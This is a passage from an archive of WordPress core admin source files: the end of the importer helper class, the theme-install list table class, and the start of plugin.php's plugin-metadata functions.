			$sql      = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d", $meta_key, $offset, $limit );
			$results  = $wpdb->get_results( $sql );

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Set permalinks into array.
					$hashtable[ $r->meta_value ] = (int) $r->post_id;
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * Returns count of imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return int
	 */
	public function count_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$count = 0;

		// Get count of permalinks.
		$meta_key = $importer_name . '_' . $blog_id . '_permalink';
		$sql      = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key );

		$result = $wpdb->get_results( $sql );

		if ( ! empty( $result ) ) {
			$count = (int) $result[0]->cnt;
		}

		return $count;
	}

	/**
	 * Sets array with imported comments from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_comments( $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all comments in chunks.
		do {
			$sql     = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
			$results = $wpdb->get_results( $sql );

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Explode comment_agent key.
					list ( $comment_agent_blog_id, $source_comment_id ) = explode( '-', $r->comment_agent );

					$source_comment_id = (int) $source_comment_id;

					// Check if this comment came from this blog.
					if ( (int) $blog_id === (int) $comment_agent_blog_id ) {
						$hashtable[ $source_comment_id ] = (int) $r->comment_ID;
					}
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * @param int $blog_id
	 * @return int|void
	 */
	public function set_blog( $blog_id ) {
		if ( is_numeric( $blog_id ) ) {
			$blog_id = (int) $blog_id;
		} else {
			$blog   = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
			$parsed = parse_url( $blog );
			if ( ! $parsed || empty( $parsed['host'] ) ) {
				fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
				exit;
			}
			if ( empty( $parsed['path'] ) ) {
				$parsed['path'] = '/';
			}
			$blogs = get_sites(
				array(
					'domain' => $parsed['host'],
					'number' => 1,
					'path'   => $parsed['path'],
				)
			);
			if ( ! $blogs ) {
				fwrite( STDERR, "Error: Could not find blog\n" );
				exit;
			}
			$blog    = array_shift( $blogs );
			$blog_id = (int) $blog->blog_id;
		}

		if ( function_exists( 'is_multisite' ) ) {
			if ( is_multisite() ) {
				switch_to_blog( $blog_id );
			}
		}

		return $blog_id;
	}

	/**
	 * @param int $user_id
	 * @return int|void
	 */
	public function set_user( $user_id ) {
		if ( is_numeric( $user_id ) ) {
			$user_id = (int) $user_id;
		} else {
			$user_id = (int) username_exists( $user_id );
		}

		if ( ! $user_id || ! wp_set_current_user( $user_id ) ) {
			fwrite( STDERR, "Error: can not find user\n" );
			exit;
		}

		return $user_id;
	}

	/**
	 * Sorts by strlen, longest string first.
	 *
	 * @param string $a
	 * @param string $b
	 * @return int
	 */
	public function cmpr_strlen( $a, $b ) {
		return strlen( $b ) - strlen( $a );
	}

	/**
	 * Gets URL.
	 *
	 * @param string $url
	 * @param string $username
	 * @param string $password
	 * @param bool   $head
	 * @return array
	 */
	public function get_page( $url, $username = '', $password = '', $head = false ) {
		// Increase the timeout.
		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );

		$headers = array();
		$args    = array();
		if ( true === $head ) {
			$args['method'] = 'HEAD';
		}
		if ( ! empty( $username ) && ! empty( $password ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
		}

		$args['headers'] = $headers;

		return wp_safe_remote_request( $url, $args );
	}

	/**
	 * Bumps up the request timeout for http requests.
	 *
	 * @param int $val
	 * @return int
	 */
	public function bump_request_timeout( $val ) {
		return 60;
	}

	/**
	 * Checks if user has exceeded disk quota.
	 *
	 * @return bool
	 */
	public function is_user_over_quota() {
		if ( function_exists( 'upload_is_user_over_quota' ) ) {
			if ( upload_is_user_over_quota() ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Replaces newlines, tabs, and multiple spaces with a single space.
	 *
	 * @param string $text
	 * @return string
	 */
	public function min_whitespace( $text ) {
		return preg_replace( '|[\r\n\t ]+|', ' ', $text );
	}

	/**
	 * Resets global variables that grow out of control during imports.
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb  $wpdb       WordPress database abstraction object.
	 * @global int[] $wp_actions
	 */
	public function stop_the_insanity() {
		global $wpdb, $wp_actions;
		// Or define( 'WP_IMPORTING', true );
		$wpdb->queries = array();
		// Reset $wp_actions to keep it from growing out of control.
		$wp_actions = array();
	}
}

/**
 * Returns value of command line params.
 * Exits when a required param is not set.
 *
 * @param string $param
 * @param bool   $required
 * @return mixed
 */
function get_cli_args( $param, $required = false ) {
	$args = $_SERVER['argv'];
	if ( ! is_array( $args ) ) {
		$args = array();
	}

	$out = array();

	$last_arg = null;
	$return   = null;

	$il = count( $args );

	for ( $i = 1, $il; $i < $il; $i++ ) {
		if ( (bool) preg_match( '/^--(.+)/', $args[ $i ], $match ) ) {
			$parts = explode( '=', $match[1] );
			$key   = preg_replace( '/[^a-z0-9]+/', '', $parts[0] );

			if ( isset( $parts[1] ) ) {
				$out[ $key ] = $parts[1];
			} else {
				$out[ $key ] = true;
			}

			$last_arg = $key;
		} elseif ( (bool) preg_match( '/^-([a-zA-Z0-9]+)/', $args[ $i ], $match ) ) {
			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
				$key         = $match[1][ $j ];
				$out[ $key ] = true;
			}

			$last_arg = $key;
		} elseif ( null !== $last_arg ) {
			$out[ $last_arg ] = $args[ $i ];
		}
	}

	// Check array for specified param.
	if ( isset( $out[ $param ] ) ) {
		// Set return value.
		$return = $out[ $param ];
	}

	// Check for missing required param.
	if ( ! isset( $out[ $param ] ) && $required ) {
		// Display message and exit.
		echo "\"$param\" parameter is required but was not specified\n";
		exit;
	}

	return $return;
}
class-wp-theme-install-list-table.php000064400000036474150275632050013633 0ustar00<?php
/**
 * List Table API: WP_Theme_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_Themes_List_Table
 */
class WP_Theme_Install_List_Table extends WP_Themes_List_Table {

	public $features = array();

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_themes' );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global array  $theme_field_defaults
	 */
	public function prepare_items() {
		require ABSPATH . 'wp-admin/includes/theme-install.php';

		global $tabs, $tab, $paged, $type, $theme_field_defaults;
		wp_reset_vars( array( 'tab' ) );

		$search_terms  = array();
		$search_string = '';
		if ( ! empty( $_REQUEST['s'] ) ) {
			$search_string = strtolower( wp_unslash( $_REQUEST['s'] ) );
			$search_terms  = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page,
		$tabs              = array();
		$tabs['dashboard'] = __( 'Search' );
		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}
		$tabs['upload']   = __( 'Upload' );
		$tabs['featured'] = _x( 'Featured', 'themes' );
		//$tabs['popular']  = _x( 'Popular', 'themes' );
		$tabs['new']     = _x( 'Latest', 'themes' );
		$tabs['updated'] = _x( 'Recently Updated', 'themes' );

		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.

		/** This filter is documented in wp-admin/theme-install.php */
		$tabs = apply_filters( 'install_themes_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Install Themes screen.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on
		 *                               the Install Themes screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			'fields'   => $theme_field_defaults,
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				switch ( $type ) {
					case 'tag':
						$args['tag'] = array_map( 'sanitize_key', $search_terms );
						break;
					case 'term':
						$args['search'] = $search_string;
						break;
					case 'author':
						$args['author'] = $search_string;
						break;
				}

				if ( ! empty( $this->features ) ) {
					$args['tag']      = $this->features;
					$_REQUEST['s']    = implode( ',', $this->features );
					$_REQUEST['type'] = 'tag';
				}

				add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 );
				break;

			case 'featured':
				// case 'popular':
			case 'new':
			case 'updated':
				$args['browse'] = $tab;
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Install Themes screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the theme install
		 * tab.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_themes_table_api_args_dashboard`
		 *  - `install_themes_table_api_args_featured`
		 *  - `install_themes_table_api_args_new`
		 *  - `install_themes_table_api_args_search`
		 *  - `install_themes_table_api_args_updated`
		 *  - `install_themes_table_api_args_upload`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Theme install API arguments.
		 */
		$args = apply_filters( "install_themes_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = themes_api( 'query_themes', $args );

		if ( is_wp_error( $api ) ) {
			wp_die( '<p>' . $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try Again' ) . '</a></p>' );
		}

		$this->items = $api->themes;

		$this->set_pagination_args(
			array(
				'total_items'     => $api->info['results'],
				'per_page'        => $args['per_page'],
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		_e( 'No themes match your request.' );
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'theme-install-' . $action ] = array(
				'url'     => self_admin_url( 'theme-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Displays the theme install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<div class="tablenav top themes">
			<div class="alignleft actions">
				<?php
				/**
				 * Fires in the Install Themes list table header.
				 *
				 * @since 2.8.0
				 */
				do_action( 'install_themes_table_header' );
				?>
			</div>
			<?php $this->pagination( 'top' ); ?>
			<br class="clear" />
		</div>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php
		$this->tablenav( 'bottom' );
	}

	/**
	 */
	public function display_rows() {
		$themes = $this->items;
		foreach ( $themes as $theme ) {
			?>
				<div class="available-theme installable-theme">
				<?php
					$this->single_row( $theme );
				?>
				</div>
			<?php
		} // End foreach $theme_names.

		$this->theme_installer();
	}

	/**
	 * Prints a theme from the WordPress.org API.
	 *
	 * @since 3.1.0
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme {
	 *     An object that contains theme data returned by the WordPress.org API.
	 *
	 *     @type string $name           Theme name, e.g. 'Twenty Twenty-One'.
	 *     @type string $slug           Theme slug, e.g. 'twentytwentyone'.
	 *     @type string $version        Theme version, e.g. '1.1'.
	 *     @type string $author         Theme author username, e.g. 'melchoyce'.
	 *     @type string $preview_url    Preview URL, e.g. 'https://2021.wordpress.net/'.
	 *     @type string $screenshot_url Screenshot URL, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type float  $rating         Rating score.
	 *     @type int    $num_ratings    The number of ratings.
	 *     @type string $homepage       Theme homepage, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type string $description    Theme description.
	 *     @type string $download_link  Theme ZIP download URL.
	 * }
	 */
	public function single_row( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		/* translators: %s: Theme name. */
		$preview_title = sprintf( __( 'Preview &#8220;%s&#8221;' ), $name );
		$preview_url   = add_query_arg(
			array(
				'tab'   => 'theme-information',
				'theme' => $theme->slug,
			),
			self_admin_url( 'theme-install.php' )
		);

		$actions = array();

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		switch ( $status ) {
			case 'update_available':
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				$actions[] = sprintf(
					'<span class="install-now" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Install %s', 'theme' ), $name ) ),
					__( 'Install Now' )
				);
				break;
		}

		$actions[] = sprintf(
			'<a class="install-theme-preview" href="%s" title="%s">%s</a>',
			esc_url( $preview_url ),
			/* translators: %s: Theme name. */
			esc_attr( sprintf( __( 'Preview %s' ), $name ) ),
			__( 'Preview' )
		);

		/**
		 * Filters the install action links for a theme in the Install Themes list table.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $actions An array of theme action links. Defaults are
		 *                          links to Install Now, Preview, and Details.
		 * @param stdClass $theme   An object that contains theme data returned by the
		 *                          WordPress.org API.
		 */
		$actions = apply_filters( 'theme_install_actions', $actions, $theme );

		?>
		<a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>">
			<img src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" width="150" alt="" />
		</a>

		<h3><?php echo $name; ?></h3>
		<div class="theme-author">
		<?php
			/* translators: %s: Theme author. */
			printf( __( 'By %s' ), $author );
		?>
		</div>

		<div class="action-links">
			<ul>
				<?php foreach ( $actions as $action ) : ?>
					<li><?php echo $action; ?></li>
				<?php endforeach; ?>
				<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
			</ul>
		</div>

		<?php
		$this->install_theme_info( $theme );
	}

	/**
	 * Prints the wrapper for the theme installer.
	 */
	public function theme_installer() {
		?>
		<div id="theme-installer" class="wp-full-overlay expanded">
			<div class="wp-full-overlay-sidebar">
				<div class="wp-full-overlay-header">
					<a href="#" class="close-full-overlay button"><?php _e( 'Close' ); ?></a>
					<span class="theme-install"></span>
				</div>
				<div class="wp-full-overlay-sidebar-content">
					<div class="install-theme-info"></div>
				</div>
				<div class="wp-full-overlay-footer">
					<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
						<span class="collapse-sidebar-arrow"></span>
						<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
					</button>
				</div>
			</div>
			<div class="wp-full-overlay-main"></div>
		</div>
		<?php
	}

	/**
	 * Prints the wrapper for the theme installer with a provided theme's data.
	 * Used to make the theme installer work for no-js.
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function theme_installer_single( $theme ) {
		?>
		<div id="theme-installer" class="wp-full-overlay single-theme">
			<div class="wp-full-overlay-sidebar">
				<?php $this->install_theme_info( $theme ); ?>
			</div>
			<div class="wp-full-overlay-main">
				<iframe src="<?php echo esc_url( $theme->preview_url ); ?>"></iframe>
			</div>
		</div>
		<?php
	}

	/**
	 * Prints the info for a theme (to be used in the theme installer modal).
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function install_theme_info( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		?>
		<div class="install-theme-info">
		<?php
		switch ( $status ) {
			case 'update_available':
				printf(
					'<a class="theme-install button button-primary" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				printf(
					'<span class="theme-install" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				printf(
					'<a class="theme-install button button-primary" href="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					__( 'Install' )
				);
				break;
		}
		?>
			<h3 class="theme-name"><?php echo $name; ?></h3>
			<span class="theme-by">
			<?php
				/* translators: %s: Theme author. */
				printf( __( 'By %s' ), $author );
			?>
			</span>
			<?php if ( isset( $theme->screenshot_url ) ) : ?>
				<img class="theme-screenshot" src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" alt="" />
			<?php endif; ?>
			<div class="theme-details">
				<?php
				wp_star_rating(
					array(
						'rating' => $theme->rating,
						'type'   => 'percent',
						'number' => $theme->num_ratings,
					)
				);
				?>
				<div class="theme-version">
					<strong><?php _e( 'Version:' ); ?> </strong>
					<?php echo wp_kses( $theme->version, $themes_allowedtags ); ?>
				</div>
				<div class="theme-description">
					<?php echo wp_kses( $theme->description, $themes_allowedtags ); ?>
				</div>
			</div>
			<input class="theme-preview-url" type="hidden" value="<?php echo esc_url( $theme->preview_url ); ?>" />
		</div>
		<?php
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @global string $tab  Current tab within Themes->Install screen
	 * @global string $type Type of search.
	 *
	 * @param array $extra_args Unused.
	 */
	public function _js_vars( $extra_args = array() ) {
		global $tab, $type;
		parent::_js_vars( compact( 'tab', 'type' ) );
	}

	/**
	 * Checks to see if the theme is already installed.
	 *
	 * @since 3.4.0
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 * @return string Theme status.
	 */
	private function _get_theme_status( $theme ) {
		$status = 'install';

		$installed_theme = wp_get_theme( $theme->slug );
		if ( $installed_theme->exists() ) {
			if ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '=' ) ) {
				$status = 'latest_installed';
			} elseif ( version_compare( $installed_theme->get( 'Version' ), $theme->version, '>' ) ) {
				$status = 'newer_installed';
			} else {
				$status = 'update_available';
			}
		}

		return $status;
	}
}
plugin.php000064400000257422150275632050006574 0ustar00<?php
/**
 * WordPress Plugin Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Parses the plugin contents to retrieve plugin's metadata.
 *
 * All plugin headers must be on their own line. Plugin description must not have
 * any newlines, otherwise only parts of the description will be displayed.
 * The below is formatted for printing.
 *
 *     /*
 *     Plugin Name: Name of the plugin.
 *     Plugin URI: The home page of the plugin.
 *     Description: Plugin description.
 *     Author: Plugin author's name.
 *     Author URI: Link to the author's website.
 *     Version: Plugin version.
 *     Text Domain: Optional. Unique identifier, should be same as the one used in
 *          load_plugin_textdomain().
 *     Domain Path: Optional. Only useful if the translations are located in a
 *          folder above the plugin's base path. For example, if .mo files are
 *          located in the locale folder then Domain Path will be "/locale/" and
 *          must have the first slash. Defaults to the base folder the plugin is
 *          located in.
 *     Network: Optional. Specify "Network: true" to require that a plugin is activated
 *          across all sites in an installation. This will prevent a plugin from being
 *          activated on a single site when Multisite is enabled.
 *     Requires at least: Optional. Specify the minimum required WordPress version.
 *     Requires PHP: Optional. Specify the minimum required PHP version.
 *     * / # Remove the space to close comment.
 *
 * The first 8 KB of the file will be pulled in and if the plugin data is not
 * within that first 8 KB, then the plugin author should correct their plugin
 * and move the plugin data headers to the top.
 *
 * The plugin file is assumed to have permissions to allow for scripts to read
 * the file. This is not checked however and the file is only opened for
 * reading.
 *
 * @since 1.5.0
 * @since 5.3.0 Added support for `Requires at least` and `Requires PHP` headers.
 * @since 5.8.0 Added support for `Update URI` header.
 *
 * @param string $plugin_file Absolute path to the main plugin file.
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array {
 *     Plugin data. Values will be empty if not supplied by the plugin.
 *
 *     @type string $Name        Name of the plugin. Should be unique.
 *     @type string $PluginURI   Plugin URI.
 *     @type string $Version     Plugin version.
 *     @type string $Description Plugin description.
 *     @type string $Author      Plugin author's name.
 *     @type string $AuthorURI   Plugin author's website address (if set).
 *     @type string $TextDomain  Plugin textdomain.
 *     @type string $DomainPath  Plugin's relative directory path to .mo files.
 *     @type bool   $Network     Whether the plugin can only be activated network-wide.
 *     @type string $RequiresWP  Minimum required version of WordPress.
 *     @type string $RequiresPHP Minimum required version of PHP.
 *     @type string $UpdateURI   ID of the plugin for update purposes, should be a URI.
 *     @type string $Title       Title of the plugin and link to the plugin's site (if set).
 *     @type string $AuthorName  Plugin author's name.
 * }
 */
function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {

	$default_headers = array(
		'Name'        => 'Plugin Name',
		'PluginURI'   => 'Plugin URI',
		'Version'     => 'Version',
		'Description' => 'Description',
		'Author'      => 'Author',
		'AuthorURI'   => 'Author URI',
		'TextDomain'  => 'Text Domain',
		'DomainPath'  => 'Domain Path',
		'Network'     => 'Network',
		'RequiresWP'  => 'Requires at least',
		'RequiresPHP' => 'Requires PHP',
		'UpdateURI'   => 'Update URI',
		// Site Wide Only is deprecated in favor of Network.
		'_sitewide'   => 'Site Wide Only',
	);

	$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );

	// Site Wide Only is the old header for Network.
	if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
		/* translators: 1: Site Wide Only: true, 2: Network: true */
		_deprecated_argument( __FUNCTION__, '3.0.0', sprintf( __( 'The %1$s plugin header is deprecated. Use %2$s instead.' ), '<code>Site Wide Only: true</code>', '<code>Network: true</code>' ) );
		$plugin_data['Network'] = $plugin_data['_sitewide'];
	}
	$plugin_data['Network'] = ( 'true' === strtolower( $plugin_data['Network'] ) );
	unset( $plugin_data['_sitewide'] );

	// If no text domain is defined fall back to the plugin slug.
	if ( ! $plugin_data['TextDomain'] ) {
		$plugin_slug = dirname( plugin_basename( $plugin_file ) );
		if ( '.' !== $plugin_slug && ! str_contains( $plugin_slug, '/' ) ) {
			$plugin_data['TextDomain'] = $plugin_slug;
		}
	}

	if ( $markup || $translate ) {
		$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
	} else {
		$plugin_data['Title']      = $plugin_data['Name'];
		$plugin_data['AuthorName'] = $plugin_data['Author'];
	}

	return $plugin_data;
}

/**
 * Sanitizes plugin data, optionally adds markup, optionally translates.
 *
 * @since 2.7.0
 *
 * @see get_plugin_data()
 *
 * @access private
 *
 * @param string $plugin_file Path to the main plugin file.
 * @param array  $plugin_data An array of plugin data. See get_plugin_data().
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array Plugin data. Values will be empty if not supplied by the plugin.
 *               See get_plugin_data() for the list of possible values.
 */
function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {

	// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path.
	$plugin_file = plugin_basename( $plugin_file );

	// Translate fields.
	if ( $translate ) {
		$textdomain = $plugin_data['TextDomain'];
		if ( $textdomain ) {
			if ( ! is_textdomain_loaded( $textdomain ) ) {
				if ( $plugin_data['DomainPath'] ) {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
				} else {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
				}
			}
		} elseif ( 'hello.php' === basename( $plugin_file ) ) {
			$textdomain = 'default';
		}
		if ( $textdomain ) {
			foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field ) {
				if ( ! empty( $plugin_data[ $field ] ) ) {
					// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
					$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
				}
			}
		}
	}

	// Sanitize fields.
	$allowed_tags_in_links = array(
		'abbr'    => array( 'title' => true ),
		'acronym' => array( 'title' => true ),
		'code'    => true,
		'em'      => true,
		'strong'  => true,
	);

	$allowed_tags      = $allowed_tags_in_links;
	$allowed_tags['a'] = array(
		'href'  => true,
		'title' => true,
	);

	/*
	 * Name is marked up inside <a> tags. Don't allow these.
	 * Author is too, but some plugins have used <a> here (omitting Author URI).
	 */
	$plugin_data['Name']   = wp_kses( $plugin_data['Name'], $allowed_tags_in_links );
	$plugin_data['Author'] = wp_kses( $plugin_data['Author'], $allowed_tags );

	$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
	$plugin_data['Version']     = wp_kses( $plugin_data['Version'], $allowed_tags );

	$plugin_data['PluginURI'] = esc_url( $plugin_data['PluginURI'] );
	$plugin_data['AuthorURI'] = esc_url( $plugin_data['AuthorURI'] );

	$plugin_data['Title']      = $plugin_data['Name'];
	$plugin_data['AuthorName'] = $plugin_data['Author'];

	// Apply markup.
	if ( $markup ) {
		if ( $plugin_data['PluginURI'] && $plugin_data['Name'] ) {
			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '">' . $plugin_data['Name'] . '</a>';
		}

		if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] ) {
			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
		}

		$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );

		if ( $plugin_data['Author'] ) {
			$plugin_data['Description'] .= sprintf(
				/* translators: %s: Plugin author. */
				' <cite>' . __( 'By %s.' ) . '</cite>',
				$plugin_data['Author']
			);
		}
	}

	return $plugin_data;
}

/**
 * Gets a list of a plugin's files.
 *
 * @since 2.8.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of file names relative to the plugin root.
 */
function get_plugin_files( $plugin ) {
	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
	$dir         = dirname( $plugin_file );

	$plugin_files = array( plugin_basename( $plugin_file ) );

	if ( is_dir( $dir ) && WP_PLUGIN_DIR !== $dir ) {

		/**
		 * Filters the array of excluded directories and files while scanning the folder.
		 *
		 * @since 4.9.0
		 *
		 * @param string[] $exclusions Array of excluded directories and files.
		 */
		$exclusions = (array) apply_filters( 'plugin_files_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );

		$list_files = list_files( $dir, 100, $exclusions );
		$list_files = array_map( 'plugin_basename', $list_files );

		$plugin_files = array_merge( $plugin_files, $list_files );
		$plugin_files = array_values( array_unique( $plugin_files ) );
	}

	return $plugin_files;
}

/**
 * Checks the plugins directory and retrieve all plugin files with plugin data.
 *
 * WordPress only supports plugin files in the base plugins directory
 * (wp-content/plugins) and in one directory above the plugins directory
 * (wp-content/plugins/my-plugin). The file it looks for has the plugin data
 * and must be found in those two locations. It is recommended to keep your
 * plugin files in their own directories.
 *
 * The file with the plugin data is the file that will be included and therefore
 * needs to have the main execution for the plugin. This does not mean
 * everything must be contained in the file and it is recommended that the file
 * be split for maintainability. Keep everything in one file for extreme
 * optimization purposes.
 *
 * @since 1.5.0
 *
 * @param string $plugin_folder Optional. Relative path to single plugin folder.
 * @return array[] Array of arrays of plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_plugins( $plugin_folder = '' ) {

	$cache_plugins = wp_cache_get( 'plugins', 'plugins' );
	if ( ! $cache_plugins ) {
		$cache_plugins = array();
